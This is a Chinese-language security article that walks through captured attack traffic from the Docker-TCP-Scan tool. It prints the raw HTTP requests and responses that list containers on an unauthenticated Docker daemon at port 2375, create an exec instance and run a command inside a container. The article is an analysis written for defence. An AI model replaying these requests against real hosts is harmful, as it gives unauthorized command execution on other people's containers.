随着企业上云逐渐形成了趋势和规模,云安全也成为了新的焦点和『风口』,云上安全越来越重要;在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口
了解过 Docker Remote API
的师傅应该都知道2375端口,2375是Docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作;
当主机以 DOCKER_OPTS="-H tcp://0.0.0.0:2375"
这样的配置方式启动Docker时,可以在外部机器对 Docker Remote API
进行直接操作: docker -H tcp://$HOST:2375 ps
但Docker本身没有身份认证的功能,只要能访问到API服务端口,就可以操作Docker!
这就造成了非常严重的漏洞!能够直接通过 Docker Remote API
对相关运行的容器下发恶意命令!网络上对于 Docker Remote API 利用和详细分析的文章几乎没有,本文就曾哥开源的针对 Docker TCP socket 的利用工具 Docker-TCP-Scan
进行详细的攻击流量分析。通过使用 yakit
抓包工具,我们能够获取并解读全程攻击流量,揭示攻击的具体步骤。
同时感谢国际云安全联盟(CSA)渗透测试工作组对本开源工具提出的建议
AabyssZG/Docker-TCP-Scan: 旨在以攻促防,针对Docker TCP socket的开源利用工具
https://github.com/AabyssZG/Docker-TCP-Scan
攻击者通过发送 GET
请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375),该端口默认情况下不要求认证,极易被攻击者利用进行信息泄露。
1GET /containers/json HTTP/1.1 2Host: XXXXXXX:2375 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 4Accept-Encoding: gzip, deflate, br 5Accept: */*
1HTTP/1.1 200 OK 2Api-Version: 1.12 3Docker-Experimental: false 4Ostype: linux 5Server: Docker/1.12 (linux) 6Date: Mon, 19 Aug 2024 08:21:25 GMT 7Connection: close 8Content-Type: application/json 9Content-Length: 1170 10 11[ 12 { 13 "Id": "8dfafdbc3a40", 14 "Image": "ubuntu:latest", 15 "ImageID": "d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82", 16 "Command": "/bin/hello", 17 "Created": 1720106340, 18 "Ports": [{ "PrivatePort": 2222, "PublicPort": 3333, "Type": "tcp" }], 19 "SizeRw": 12288, 20 "Labels": { 21 "com.example.vendor": "Acme", 22 "com.example.license": "GPL", 23 "com.example.version": "1.0" 24 }, 25 "State": "exited", 26 "Status": "Exit 0", 27 "NetworkSettings": { 28 "Networks": { 29 "bridge": { 30 "NetworkID": "7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812", 31 "EndpointID": "2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f", 32 "Gateway": "172.17.0.1", 33 "IPAddress": "172.17.0.2", 34 "IPPrefixLen": 16, 35 "IPv6Gateway": "", 36 "GlobalIPv6Address": "", 37 "MacAddress": "02:42:ac:11:00:02" 38 } 39 } 40 }, 41 "Mounts": [ 42 { 43 "Name": "fac362...80535", 44 "Source": "/data", 45 "Destination": "/data", 46 "Driver": "local", 47 "Mode": "ro,Z", 48 "Propagation": "" 49 } 50 ] 51 } 52]
解析 :
通过这一步骤,攻击者可以获取 Docker 容器的详细信息,包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。
攻击者接下来会发送 POST
请求,通过 Docker API 创建一个新的执行环境(Exec Instance),并在 Cmd
参数中注入恶意命令(payload)。
1POST /containers/8dfafdbc3a40/exec HTTP/1.1
2Host: XXXXXXX:2375
3Content-Type: application/json
4User-Agent: python-requests/2.28.2
5Accept-Encoding: gzip, deflate, br
6Accept: */*
7Content-Length: 63
8
9{ "Cmd": ["pwd"], "AttachStdout": true, "AttachStderr": true }
1HTTP/1.1 201 Created
2Api-Version: 1.12
3Docker-Experimental: false
4Ostype: linux
5Server: Docker/1.12 (linux)
6Date: Mon, 19 Aug 2024 08:21:38 GMT
7Connection: close
8Content-Type: application/json
9Content-Length: 25
10
11{ "Id": "b90e34656806" }
解析 :
这一阶段,攻击者利用 Docker 提供的 API 功能,创建了一个可以执行特定命令的环境,并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。
最后,攻击者利用之前获取的执行 ID,发送 POST
请求执行注入的命令。
1POST /exec/b90e34656806/start HTTP/1.1
2Host: XXXXXXX:2375
3Accept: */*
4Content-Type: application/json
5User-Agent: python-requests/2.28.2
6Accept-Encoding: gzip, deflate, br
7Content-Length: 34
8
9{ "Detach": false, "Tty": false }
1HTTP/1.1 200 OK 2Api-Version: 1.12 3Docker-Experimental: false 4Ostype: linux 5Server: Docker/1.12 (linux) 6Date: Mon, 19 Aug 2024 08:21:40 GMT 7Connection: close 8Content-Type: application/octet-stream 9Content-Length: 19 10 11/home/root
解析 :
通过执行命令,攻击者成功获取了 Docker 容器内部的文件系统信息,验证了其对目标容器的控制权。
信息收集 : 通过 GET /containers/json
请求,攻击者首先获取 Docker 容器的详细信息,为后续攻击做好准备。
创建执行环境 : 使用 POST /containers/{container_id}/exec
请求,攻击者创建了一个可以执行命令的环境,并获取了执行 ID。
执行命令 : 通过 POST /exec/{exec_id}/start
请求,攻击者在目标容器内执行了恶意命令,进一步掌控了容器。
此类攻击利用了 Docker Daemon 开放的 TCP 端口,该端口默认情况下不要求认证,极容易被攻击者利用。